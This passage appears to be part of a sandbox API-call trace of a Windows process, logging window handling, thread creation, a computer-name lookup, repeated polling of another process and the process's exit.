NtdllDefWindowProc_W () returned 0x0 [0122.304] NtdllDefWindowProc_W () returned 0x1 [0122.306] NtdllDefWindowProc_W () returned 0x0 [0122.309] NtdllDefWindowProc_W () returned 0x0 [0122.309] ShowWindow (hWnd=0x3014a, nCmdShow=0) returned 0 [0122.309] UpdateWindow (hWnd=0x3014a) returned 1 [0122.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x412620, lpParameter=0x464610, dwCreationFlags=0x0, lpThreadId=0x464608 | out: lpThreadId=0x464608*=0x344) returned 0x10c [0122.345] GetMessageW (in: lpMsg=0x18d234, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18d234) returned 0 [0136.575] GetComputerNameW (in: lpBuffer=0x72ffc0, nSize=0x18cd38 | out: lpBuffer="XDUWTFONO", nSize=0x18cd38) returned 1 [0136.575] IsWindow (hWnd=0x3014a) returned 1 [0136.575] DestroyWindow (hWnd=0x3014a) returned 1 [0136.575] NtdllDefWindowProc_W () returned 0x0 [0136.575] PostQuitMessage (nExitCode=0) [0136.576] NtdllDefWindowProc_W () returned 0x0 [0136.577] PostThreadMessageW (idThread=0x4d8, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0136.577] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.577] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xa) returned 0x102 [0136.587] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.587] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xa) returned 0x102 [0136.603] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.603] WaitForSingleObject (hHandle=0xcc, dwMilliseconds=0xa) returned 0x0 [0136.605] PostThreadMessageW (idThread=0x4ac, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0136.605] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.605] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.619] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.619] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.634] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.634] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.650] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.650] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.665] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.665] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.681] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.681] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.696] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.697] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.712] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.712] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.728] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.728] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.747] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.747] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.759] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.759] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.776] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.777] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.790] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.790] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.806] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.806] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.821] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.821] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.837] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.837] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.852] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.853] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.868] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.868] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.884] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.884] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.899] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.899] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.915] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.915] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.931] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.931] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.946] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.946] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.962] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.962] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.977] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.977] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0136.993] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0136.993] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.008] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.009] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.024] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.024] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.040] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.040] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.055] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.055] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.071] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.071] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.086] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.087] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.102] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.102] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x102 [0137.118] PeekMessageW (in: lpMsg=0x18d144, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d144) returned 0 [0137.118] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0xa) returned 0x0 [0137.130] CloseHandle (hObject=0xbc) returned 1 [0137.135] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0137.135] ExitProcess (uExitCode=0x0) [0137.136] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 139 os_tid = 0x4d8 [0122.284] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0xc8 [0122.284] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0xa) returned 0x102 [0122.299] CloseHandle (hObject=0xc8) returned 1 [0122.299] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0122.299] Sleep (dwMilliseconds=0x1) [0122.348] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x110 [0122.348] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0xa) returned 0x102 [0122.399] CloseHandle (hObject=0x110) returned 1 [0122.399] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0122.399] Sleep (dwMilliseconds=0x1) [0122.411] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x114 [0122.411] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xa) returned 0x102 [0122.535] CloseHandle (hObject=0x114) returned 1 [0122.535] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0122.535] Sleep (dwMilliseconds=0x1) [0122.556] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x114 [0122.556] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xa) returned 0x102 [0122.766] CloseHandle (hObject=0x114) returned 1 [0122.766] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0122.766] Sleep (dwMilliseconds=0x1) [0122.814] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x114 [0122.814] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xa) returned 0x102 [0122.828] CloseHandle (hObject=0x114) returned 1 [0122.828] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0122.828] Sleep (dwMilliseconds=0x1) [0123.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x11c [0123.164] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0xa) returned 0x102 [0123.173] CloseHandle (hObject=0x11c) returned 1 [0123.173] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.173] Sleep (dwMilliseconds=0x1) [0123.204] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x120 [0123.205] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xa) returned 0x102 [0123.226] CloseHandle (hObject=0x120) returned 1 [0123.226] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.226] Sleep (dwMilliseconds=0x1) [0123.431] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x124 [0123.431] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xa) returned 0x102 [0123.459] CloseHandle (hObject=0x124) returned 1 [0123.459] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.460] Sleep (dwMilliseconds=0x1) [0123.473] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x124 [0123.473] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xa) returned 0x102 [0123.487] CloseHandle (hObject=0x124) returned 1 [0123.487] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.487] Sleep (dwMilliseconds=0x1) [0123.500] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x124 [0123.500] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xa) returned 0x102 [0123.575] CloseHandle (hObject=0x124) returned 1 [0123.575] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.575] Sleep (dwMilliseconds=0x1) [0123.577] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x124 [0123.577] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xa) returned 0x102 [0123.650] CloseHandle (hObject=0x124) returned 1 [0123.650] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.650] Sleep (dwMilliseconds=0x1) [0123.656] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x114 [0123.656] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xa) returned 0x102 [0123.670] CloseHandle (hObject=0x114) returned 1 [0123.670] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.670] Sleep (dwMilliseconds=0x1) [0123.774] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x15c [0123.774] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xa) returned 0x102 [0123.786] CloseHandle (hObject=0x15c) returned 1 [0123.786] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.786] Sleep (dwMilliseconds=0x1) [0123.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x18c [0123.887] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xa) returned 0x102 [0123.889] CloseHandle (hObject=0x18c) returned 1 [0123.889] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.889] Sleep (dwMilliseconds=0x1) [0123.905] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x18c [0123.905] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xa) returned 0x102 [0123.931] CloseHandle (hObject=0x18c) returned 1 [0123.931] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0123.931] Sleep (dwMilliseconds=0x1) [0124.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.044] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.048] CloseHandle (hObject=0x190) returned 1 [0124.048] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.048] Sleep (dwMilliseconds=0x1) [0124.061] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.061] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.077] CloseHandle (hObject=0x190) returned 1 [0124.077] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.077] Sleep (dwMilliseconds=0x1) [0124.112] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.112] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.123] CloseHandle (hObject=0x190) returned 1 [0124.123] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.123] Sleep (dwMilliseconds=0x1) [0124.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.143] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.156] CloseHandle (hObject=0x190) returned 1 [0124.156] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.156] Sleep (dwMilliseconds=0x1) [0124.176] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.176] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.185] CloseHandle (hObject=0x190) returned 1 [0124.185] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.185] Sleep (dwMilliseconds=0x1) [0124.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.201] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.230] CloseHandle (hObject=0x190) returned 1 [0124.230] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.230] Sleep (dwMilliseconds=0x1) [0124.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.256] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.263] CloseHandle (hObject=0x190) returned 1 [0124.263] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.263] Sleep (dwMilliseconds=0x1) [0124.279] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.279] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.295] CloseHandle (hObject=0x190) returned 1 [0124.296] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.296] Sleep (dwMilliseconds=0x1) [0124.327] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.327] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.351] CloseHandle (hObject=0x190) returned 1 [0124.351] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.351] Sleep (dwMilliseconds=0x1) [0124.357] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.357] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.374] CloseHandle (hObject=0x190) returned 1 [0124.374] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.374] Sleep (dwMilliseconds=0x1) [0124.391] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.391] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.404] CloseHandle (hObject=0x190) returned 1 [0124.404] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.404] Sleep (dwMilliseconds=0x1) [0124.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.420] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.435] CloseHandle (hObject=0x190) returned 1 [0124.435] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.435] Sleep (dwMilliseconds=0x1) [0124.451] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.451] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.474] CloseHandle (hObject=0x190) returned 1 [0124.474] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.474] Sleep (dwMilliseconds=0x1) [0124.482] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.482] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.498] CloseHandle (hObject=0x190) returned 1 [0124.498] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.498] Sleep (dwMilliseconds=0x1) [0124.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.514] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.528] CloseHandle (hObject=0x190) returned 1 [0124.529] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.529] Sleep (dwMilliseconds=0x1) [0124.545] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.545] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.561] CloseHandle (hObject=0x190) returned 1 [0124.561] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.561] Sleep (dwMilliseconds=0x1) [0124.581] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.581] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.591] CloseHandle (hObject=0x190) returned 1 [0124.591] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.591] Sleep (dwMilliseconds=0x1) [0124.607] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.607] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.622] CloseHandle (hObject=0x190) returned 1 [0124.622] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.622] Sleep (dwMilliseconds=0x1) [0124.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.683] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.684] CloseHandle (hObject=0x190) returned 1 [0124.684] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.685] Sleep (dwMilliseconds=0x1) [0124.700] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x494) returned 0x190 [0124.700] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xa) returned 0x102 [0124.716] CloseHandle (hObject=0x190) returned 1 [0124.716] PeekMessageW (in: lpMsg=0x59ff68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x59ff68) returned 0 [0124.716] Sleep (dwMilliseconds=0x1) 